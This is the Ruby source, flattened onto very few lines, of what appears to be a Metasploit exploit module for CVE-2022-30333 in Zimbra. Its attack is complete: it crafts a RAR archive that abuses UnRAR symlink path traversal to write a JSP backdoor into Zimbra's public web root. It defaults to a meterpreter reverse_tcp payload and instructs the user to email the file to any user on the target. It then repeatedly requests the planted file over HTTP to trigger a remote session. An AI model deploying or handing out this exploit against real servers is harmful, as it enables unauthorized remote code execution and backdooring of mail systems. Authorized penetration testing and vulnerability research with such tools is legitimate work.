Zimbra UnRAR Path Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  include Msf::Exploit::Format::RarSymlinkPathTraversal  def initialize(info = {})    super(      update_info(        info,        'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',        'Description' => %q{          This module creates a RAR file that can be emailed to a Zimbra server          to exploit CVE-2022-30333. If successful, it plants a JSP-based          backdoor in the public web directory, then executes that backdoor.          The core vulnerability is a path-traversal issue in unRAR that can          extract an arbitrary file to an arbitrary location on a Linux system.          This issue is exploitable on the following versions of Zimbra, provided          UnRAR version 6.11 or earlier is installed:          * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)          * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)        },        'Author' => [          'Simon Scannell', # Discovery / initial disclosure (via Sonar)          'Ron Bowes', # Analysis, PoC, and module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2022-30333'],          ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],          ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],          ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],        ],        'Platform' => 'linux',        'Arch' => [ARCH_X86, ARCH_X64],        'Targets' => [          [ 'Zimbra Collaboration Suite', {} ]        ],        'DefaultOptions' => {          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',          'TARGET_FILENAME' => nil,          'DisablePayloadHandler' => false,          'RPORT' => 443,          'SSL' => true        },        'Stance' => Msf::Exploit::Stance::Passive,        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2022-06-28',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),        # Separating the path, filename, and extension allows us to randomize the filename        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),      ]    )    register_advanced_options(      [        OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),        OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),        # Took this from multi/handler        OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),        OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])      ]    )  end  # Generate an on-system filename using datastore options  def generate_target_filename    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')      print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')    end    File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")  end  # Normalize the path traversal and figure out where it is relative to the web root  def zimbra_get_public_path(target_filename)    # Normalize the path    normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath    # Figure out where it is, relative to the webroot    webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')    relative_path = normalized_path.relative_path_from(webroot)    # Hopefully, we found a path from the webroot to the payload!    if relative_path.to_s.start_with?('../')      return nil    end    relative_path  end  def exploit    print_status('Encoding the payload as a .jsp file')    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)    # Create a file    target_filename = generate_target_filename    print_status("Target filename: #{target_filename}")    begin      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)    rescue StandardError => e      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")    end    file_create(rar)    print_good('File created! Email the file above to any user on the target Zimbra server')    # Bail if they don't want the payload triggered    return unless datastore['TRIGGER_PAYLOAD']    # Get the public path for triggering the vulnerability, terminate if we    # can't figure it out    public_filename = zimbra_get_public_path(target_filename)    if public_filename.nil?      print_warning('Could not determine the public web path, disabling payload triggering')      return    end    register_file_for_cleanup(target_filename)    interval = datastore['CheckInterval'].to_i    print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")    # This loop is mostly from `multi/handler`    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i    timeout = datastore['ListenerTimeout'].to_i    loop do      break if session_created?      break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)      res = send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(public_filename)      )      unless res        fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')      end      Rex::ThreadSafe.sleep(interval)    end  endend